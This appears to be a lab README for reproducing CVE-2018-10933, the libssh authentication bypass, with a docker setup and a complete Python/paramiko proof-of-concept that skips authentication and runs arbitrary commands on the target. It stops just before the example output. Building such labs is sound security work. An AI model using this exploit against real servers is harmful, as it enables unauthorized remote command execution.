Aaron
63285f61aa
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82 lines
2.2 KiB
Markdown
82 lines
2.2 KiB
Markdown
# libssh Authentication Bypass Vulnerability(CVE-2018-10933)
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[中文版本(Chinese version)](README.zh-cn.md)
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libssh is a multiplatform C library implementing the SSHv2 protocol on client and server side. A logic vulnerability was found in libssh's server-side state machine. The attacker can send the `MSG_USERAUTH_SUCCESS` message before the authentication succeed. That can bypass the authentication and access the target SSH server.
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References:
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- https://www.libssh.org/security/advisories/CVE-2018-10933.txt
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- https://www.seebug.org/vuldb/ssvid-97614
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## Setup
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Start the environment:
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```
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docker compose up -d
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```
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After the environment is started, we can connect the `your-ip:2222` port (account password: `myuser:mypassword`), which is a legal ssh login:
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## Exploit
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Referring to the POC given in https://www.seebug.org/vuldb/ssvid-97614, we can use the following script to proof the vulnerability.
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```python
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#!/usr/bin/env python3
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import sys
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import paramiko
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import socket
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import logging
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logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
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bufsize = 2048
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def execute(hostname, port, command):
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sock = socket.socket()
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try:
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sock.connect((hostname, int(port)))
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message = paramiko.message.Message()
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transport = paramiko.transport.Transport(sock)
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transport.start_client()
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message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
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transport._send_message(message)
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client = transport.open_session(timeout=10)
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client.exec_command(command)
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# stdin = client.makefile("wb", bufsize)
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stdout = client.makefile("rb", bufsize)
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stderr = client.makefile_stderr("rb", bufsize)
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output = stdout.read()
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error = stderr.read()
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stdout.close()
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stderr.close()
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return (output+error).decode()
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except paramiko.SSHException as e:
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logging.exception(e)
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logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
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except socket.error:
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logging.debug("Unable to connect.")
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return None
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if __name__ == '__main__':
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print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
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```
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You can execute arbitrary commands on the target server like following:
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